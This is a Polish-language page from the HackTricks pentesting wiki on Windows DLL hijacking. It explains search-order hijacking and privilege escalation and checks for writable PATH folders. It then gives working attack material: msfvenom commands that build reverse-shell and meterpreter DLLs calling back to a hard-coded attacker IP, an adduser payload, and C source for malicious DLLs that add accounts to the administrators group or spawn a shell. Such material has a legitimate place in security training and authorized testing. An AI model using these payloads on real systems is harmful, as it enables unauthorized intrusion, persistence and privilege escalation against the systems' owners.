Dll Hijacking

Support HackTricks

Bug bounty tip: zarejestruj się w Intigriti, premium platformie bug bounty stworzonej przez hackerów, dla hackerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!

Basic Information

DLL Hijacking polega na manipulowaniu zaufaną aplikacją w celu załadowania złośliwego DLL. Termin ten obejmuje kilka taktyk, takich jak DLL Spoofing, Injection i Side-Loading. Jest głównie wykorzystywany do wykonywania kodu, osiągania trwałości i, rzadziej, eskalacji uprawnień. Mimo że skupiamy się tutaj na eskalacji, metoda hijackingu pozostaje spójna w różnych celach.

Common Techniques

Wykorzystywanych jest kilka metod do DLL hijacking, z których każda ma swoją skuteczność w zależności od strategii ładowania DLL aplikacji:

  1. DLL Replacement: Wymiana autentycznego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying w celu zachowania funkcjonalności oryginalnego DLL.

  2. DLL Search Order Hijacking: Umieszczanie złośliwego DLL w ścieżce wyszukiwania przed legalnym, wykorzystując wzór wyszukiwania aplikacji.

  3. Phantom DLL Hijacking: Tworzenie złośliwego DLL, który aplikacja załadowuje, myśląc, że jest to nieistniejący wymagany DLL.

  4. DLL Redirection: Modyfikowanie parametrów wyszukiwania, takich jak %PATH% lub pliki .exe.manifest / .exe.local, aby skierować aplikację do złośliwego DLL.

  5. WinSxS DLL Replacement: Zastępowanie legalnego DLL złośliwym odpowiednikiem w katalogu WinSxS, metoda często związana z DLL side-loading.

  6. Relative Path DLL Hijacking: Umieszczanie złośliwego DLL w katalogu kontrolowanym przez użytkownika z skopiowaną aplikacją, przypominającym techniki Binary Proxy Execution.

Finding missing Dlls

Najczęstszym sposobem na znalezienie brakujących DLL w systemie jest uruchomienie procmon z sysinternals, ustawiając następujące 2 filtry:

i pokazując tylko Aktywność systemu plików:

Jeśli szukasz brakujących dll w ogóle, powinieneś pozostawić to uruchomione przez kilka sekund. Jeśli szukasz brakującego dll w konkretnej aplikacji, powinieneś ustawić inny filtr, taki jak "Nazwa procesu" "zawiera" "<nazwa exec>", uruchomić go i zatrzymać rejestrowanie zdarzeń.

Exploiting Missing Dlls

Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość napisania dll, który proces z uprawnieniami spróbuje załadować w jednym z miejsc, gdzie będzie szukany. Dlatego będziemy mogli napisać dll w folderze, w którym dll jest wyszukiwany przed folderem, w którym znajduje się oryginalny dll (dziwny przypadek), lub będziemy mogli napisać w jakimś folderze, gdzie dll będzie wyszukiwany, a oryginalny dll nie istnieje w żadnym folderze.

Dll Search Order

W dokumentacji Microsoftu możesz znaleźć, jak DLL są ładowane konkretnie.

Aplikacje Windows szukają DLL, podążając za zestawem zdefiniowanych ścieżek wyszukiwania, przestrzegając określonej sekwencji. Problem z DLL hijacking pojawia się, gdy złośliwy DLL jest strategicznie umieszczany w jednym z tych katalogów, zapewniając, że zostanie załadowany przed autentycznym DLL. Rozwiązaniem, aby temu zapobiec, jest upewnienie się, że aplikacja używa ścieżek bezwzględnych, gdy odnosi się do wymaganych DLL.

Możesz zobaczyć kolejność wyszukiwania DLL w systemach 32-bitowych poniżej:

  1. Katalog, z którego aplikacja została załadowana.

  2. Katalog systemowy. Użyj funkcji GetSystemDirectory, aby uzyskać ścieżkę do tego katalogu. (C:\Windows\System32)

  3. Katalog systemowy 16-bitowy. Nie ma funkcji, która uzyskuje ścieżkę do tego katalogu, ale jest on przeszukiwany. (C:\Windows\System)

  4. Katalog Windows. Użyj funkcji GetWindowsDirectory, aby uzyskać ścieżkę do tego katalogu. (C:\Windows)

  5. Bieżący katalog.

  6. Katalogi wymienione w zmiennej środowiskowej PATH. Zauważ, że nie obejmuje to ścieżki per-aplikacji określonej przez klucz rejestru App Paths. Klucz App Paths nie jest używany przy obliczaniu ścieżki wyszukiwania DLL.

To jest domyślna kolejność wyszukiwania z włączonym SafeDllSearchMode. Gdy jest wyłączony, bieżący katalog awansuje na drugie miejsce. Aby wyłączyć tę funkcję, utwórz wartość rejestru HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode i ustaw ją na 0 (domyślnie jest włączona).

Jeśli funkcja LoadLibraryEx jest wywoływana z LOAD_WITH_ALTERED_SEARCH_PATH, wyszukiwanie zaczyna się w katalogu modułu wykonywalnego, który LoadLibraryEx ładuje.

Na koniec zauważ, że dll może być załadowany, wskazując bezwzględną ścieżkę zamiast tylko nazwy. W takim przypadku ten dll będzie wyszukiwany tylko w tej ścieżce (jeśli dll ma jakieś zależności, będą one wyszukiwane tak, jakby były załadowane tylko po nazwie).

Istnieją inne sposoby na zmianę sposobów zmiany kolejności wyszukiwania, ale nie zamierzam ich tutaj wyjaśniać.

Exceptions on dll search order from Windows docs

Niektóre wyjątki od standardowej kolejności wyszukiwania DLL są zauważane w dokumentacji Windows:

  • Gdy napotkany jest DLL, który dzieli swoją nazwę z już załadowanym w pamięci, system pomija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu, zanim domyślnie przejdzie do DLL już w pamięci. W tej sytuacji system nie przeprowadza wyszukiwania DLL.

  • W przypadkach, gdy DLL jest rozpoznawany jako znany DLL dla bieżącej wersji Windows, system wykorzysta swoją wersję znanego DLL, wraz z wszelkimi jego zależnymi DLL, pomijając proces wyszukiwania. Klucz rejestru HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs zawiera listę tych znanych DLL.

  • Jeśli DLL ma zależności, wyszukiwanie tych zależnych DLL jest przeprowadzane tak, jakby były wskazywane tylko przez swoje nazwy modułów, niezależnie od tego, czy początkowy DLL został zidentyfikowany przez pełną ścieżkę.

Escalating Privileges

Wymagania:

  • Zidentyfikuj proces, który działa lub będzie działał z innymi uprawnieniami (ruch poziomy lub boczny), który nie ma DLL.

  • Upewnij się, że dostęp do zapisu jest dostępny dla dowolnego katalogu, w którym DLL będzie wyszukiwany. To miejsce może być katalogiem wykonywalnym lub katalogiem w ścieżce systemowej.

Tak, wymagania są skomplikowane do znalezienia, ponieważ domyślnie dość dziwne jest znalezienie uprzywilejowanego pliku wykonywalnego bez dll i jest jeszcze dziwniejsze, aby mieć uprawnienia do zapisu w folderze ścieżki systemowej (domyślnie nie możesz). Ale w źle skonfigurowanych środowiskach jest to możliwe. W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt UACME. Nawet jeśli głównym celem projektu jest obejście UAC, możesz tam znaleźć PoC DLL hijacking dla wersji Windows, której możesz użyć (prawdopodobnie zmieniając tylko ścieżkę folderu, w którym masz uprawnienia do zapisu).

Zauważ, że możesz sprawdzić swoje uprawnienia w folderze wykonując:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

I sprawdź uprawnienia wszystkich folderów w PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Możesz również sprawdzić importy pliku wykonywalnego i eksporty dll za pomocą:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Aby uzyskać pełny przewodnik na temat wykorzystania Dll Hijacking do eskalacji uprawnień z uprawnieniami do zapisu w folderze System Path, sprawdź:

Writable Sys Path +Dll Hijacking Privesc

Narzędzia automatyczne

Winpeas sprawdzi, czy masz uprawnienia do zapisu w jakimkolwiek folderze w system PATH. Inne interesujące narzędzia automatyczne do odkrywania tej podatności to funkcje PowerSploit: Find-ProcessDLLHijack, Find-PathDLLHijack i Write-HijackDll.

Przykład

W przypadku znalezienia scenariusza do wykorzystania, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, będzie stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik zaimportuje z niej. Tak czy inaczej, zauważ, że Dll Hijacking jest przydatny do eskalacji z poziomu Medium Integrity do High (obejście UAC) lub z High Integrity do SYSTEM. Możesz znaleźć przykład jak stworzyć ważną dll w tym badaniu dotyczącym dll hijacking skoncentrowanym na dll hijacking do wykonania: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows. Ponadto, w następnej sekcji znajdziesz kilka podstawowych kodów dll, które mogą być przydatne jako szablony lub do stworzenia dll z niepotrzebnymi funkcjami eksportowanymi.

Tworzenie i kompilowanie Dlls

Proxifikacja Dll

W zasadzie Dll proxy to Dll zdolna do wykonywania twojego złośliwego kodu po załadowaniu, ale także do ekspozycji i działania zgodnie z oczekiwaniami, przekazując wszystkie wywołania do prawdziwej biblioteki.

Za pomocą narzędzia DLLirant lub Spartacus możesz faktycznie wskazać wykonywalny plik i wybrać bibliotekę, którą chcesz proxifikować oraz wygenerować proxifikowaną dll lub wskazać Dll i wygenerować proxifikowaną dll.

Meterpreter

Uzyskaj rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Uzyskaj meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Utwórz użytkownika (x86, nie widziałem wersji x64):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Twoje własne

Zauważ, że w kilku przypadkach Dll, którą kompilujesz, musi eksportować kilka funkcji, które będą ładowane przez proces ofiary; jeśli te funkcje nie istnieją, plik binarny nie będzie w stanie ich załadować i eksploit się nie powiedzie.

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

Odniesienia

Wskazówka dotycząca bug bounty: zarejestruj się w Intigriti, premium platformie bug bounty stworzonej przez hackerów, dla hackerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 $!

Wsparcie HackTricks

Last updated